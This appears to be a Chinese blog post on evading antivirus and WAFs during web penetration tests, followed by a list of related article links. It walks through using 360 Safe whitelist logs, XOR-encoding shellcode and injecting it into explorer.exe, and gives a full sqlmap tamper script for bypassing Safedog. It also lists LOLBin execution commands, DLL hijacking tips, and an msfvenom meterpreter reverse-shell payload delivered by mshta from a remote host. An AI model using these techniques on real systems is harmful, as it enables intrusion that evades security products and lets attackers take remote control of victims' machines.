WEB渗透免杀篇-绕过

360白名单

需要足够的权限 360的扫描日志和设置白名单日志位置在:C:\Users[username]\AppData\Roaming\360Safe\360ScanLog

查看扫描日志内容可以查询到白名单文件 日志文件记录的是添加或移除白名单的时间、文件名、hash等信息,otc=1为添加白名单,otc=2为移除白名单或者隔离木马病毒文件等 可以使用这些白名单文件的命名来绕过查杀

内存中解码shellcode绕过av

https://github.com/mhaskar/Shellcode-In-Memory-Decoder 流程 打开一个进程并检索该进程的HANDLE。 在进程中分配空间(检索内存地址)。 将数据(shellcode)写入该进程中。 执行shellcode。 我们可以使用几个Win32 API执行这些步骤: OpenProcess() VirtualAllocEx() WriteProcessMemory() CreateRemoteThread() 正常情况下,我们将原始shellcode直接写入到内存中,但是如果AV /EDR检测到了Shellcode,它们肯定会发出警报 所以我们在二进制文件中使用可逆的方式把shellcode编码,再解码写入内存来规避防护。 比如加、减、异或、交换。 使用cs生成个shellcode

使用python进行异或
该脚本读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下为我们的密钥)进行异或,将其打印为如下的shellcode :

现在,我们将开始实现将为我们执行shellcode注入的C代码。 编译方式 x86_64-w64-mingw32-gcc decoder.c -o decoder.exe -w 我将逐步介绍每个win32 API。 打开过程并获取一个句柄 我们需要选择一个向其注入shellcode的进程,然后需要检索该过程的句柄,以便可以对其执行一些操作,我们将使用OpenProcess win32 API

该代码将您要获取其句柄的进程ID作为第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,为我们打印
成功检索到该句柄
检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx()
base_address代表分配的内存的地址
16行,我们将打印分配的内存的地址,并将其写入数据
0x29d0000作为地址,
使用x64dbg附加explorer.exe进程,转到这里看看

可以看到函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。 接下来我们解码shellcode并写到内存中 即使使用这种类型(这里用的是异或)的编码,我们的shellcode也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。 这里为测试就只使用的0x01

这段代码将使用密钥0x01对每个字节进行解码后,将我们的shellcode写入内存中
运行
如图所见,我们将每个字节写入地址,现在我们用x64dbg进行调试,然后转到地址 0x3ce0000查看一下:
可以看到shellcode已经写入进去了。
下一步就是执行shellcode了
使用CreateRemoteThread()函数来执行

绕过安全狗脚本

#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11440AND*/')
        payload=payload.replace('ORDER','order/*!77777cz*/')
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
        payload=payload.replace("USER())","USER/*!77777cz*/())")
        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
        return payload

一些可尝试绕过白名单的执行

forfiles /p c:\windows\system32 /m notepad.exe /c <bin> 
explorer.exe /root,"<bin>" 
pcalua.exe -a <bin> 
scriptrunner.exe -appvscript <bin> 
wmic process call create <bin> 
rundll32.exe advpack.dll, RegisterOCX <bin>

DLL劫持

白dll劫持 Processmonitor查找程序加载的dll 使用stud_pe加载dll进去 或 生成payload免杀好粘贴进去,查看目标上有什么软件,本地查找可劫持的dll,劫持好文件后传上去。

Mshta

https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.hta
生成
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.bin
>cat 1.bin |base64 -w 0
编码后的内容复制到
执行
>mshta http://192.168.0.106:1222/1.hta
360执行检测出来,静态动态无法检测、火绒无法检测
相关推荐
黑客Ash44 分钟前
【D01】网络安全概论
网络·安全·web安全·php
.Ayang2 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang2 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
网络安全-老纪3 小时前
iOS应用网络安全之HTTPS
web安全·ios·https
Mr.Pascal4 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php
风间琉璃""4 小时前
二进制与网络安全的关系
安全·机器学习·网络安全·逆向·二进制
dot.Net安全矩阵5 小时前
.NET 通过模块和驱动收集本地EDR的工具
windows·安全·web安全·.net·交互
Che_Che_6 小时前
Cross-Inlining Binary Function Similarity Detection
人工智能·网络安全·gnn·二进制相似度检测
Hacker_Oldv6 小时前
网络安全的学习路线
学习·安全·web安全